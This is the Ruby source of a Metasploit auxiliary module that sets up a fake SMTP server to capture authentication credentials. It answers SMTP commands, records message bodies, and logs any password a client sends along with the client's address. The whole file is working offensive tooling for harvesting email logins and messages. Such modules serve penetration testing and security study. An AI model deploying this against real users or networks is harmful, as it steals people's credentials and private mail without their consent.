##
# $Id: smtp.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::TcpServer
	include Msf::Auxiliary::Report


	def initialize
		super(
			'Name'        => 'Authentication Capture: SMTP',
			'Version'     => '$Revision: 10394 $',
			'Description'    => %q{
				This module provides a fake SMTP service that
			is designed to capture authentication credentials.
			},
			'Author'      => ['ddz', 'hdm'],
			'License'     => MSF_LICENSE,
			'Actions'     =>
				[
					[ 'Capture' ]
				],
			'PassiveActions' =>
				[
					'Capture'
				],
			'DefaultAction'  => 'Capture'
		)

		register_options(
			[
				OptPort.new('SRVPORT',    [ true, "The local port to listen on.", 25 ])
			], self.class)
	end

	def setup
		super
		@state = {}
	end

	def run
		exploit()
	end

	def on_client_connect(c)
		@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
		c.put "220 SMTP Server Ready\r\n"
	end

	def on_client_data(c)
		data = c.get_once
		return if not data

		print_status("SMTP: #{data.strip}")

		if(@state[c][:data_mode])

			@state[c][:data_buff] ||= ''
			@state[c][:data_buff] += data

			idx = @state[c][:data_buff].index("\r\n.\r\n")
			if(idx)
				report_note(
					:host => @state[c][:ip],
					:type => "smtp_message",
					:data => @state[c][:data_buff][0,idx]
				)
				@state[c][:data_buff] = nil
				@state[c][:data_mode] = nil
				c.put "250 OK\r\n"
			end

			return
		end


		cmd,arg = data.strip.split(/\s+/, 2)
		arg ||= ""

		case cmd.upcase
		when 'HELO', 'EHLO'
			c.put "250 OK\r\n"
			return

		when 'MAIL'
			x,from = data.strip.split(":", 2)
			@state[c][:from] = from.strip
			c.put "250 OK\r\n"
			return

		when 'RCPT'
			x,targ = data.strip.split(":", 2)
			@state[c][:rcpt] = targ.strip
			c.put "250 OK\r\n"
			return

		when 'DATA'
			@state[c][:data_mode] = true
			c.put "500 Error\r\n"
			return

		when 'QUIT'
			c.put "221 OK\r\n"
			return

		when 'PASS'

			@state[c][:pass] = arg

			report_auth_info(
				:host      => @state[c][:ip],
				:port => datastore['SRVPORT'],
				:sname     => 'pop3',
				:user      => @state[c][:user],
				:pass      => @state[c][:pass],
				:active    => true
			)
			print_status("SMTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
		end

		c.put "503 Server Error\r\n"
		return

	end

	def on_client_close(c)
		@state.delete(c)
	end


end
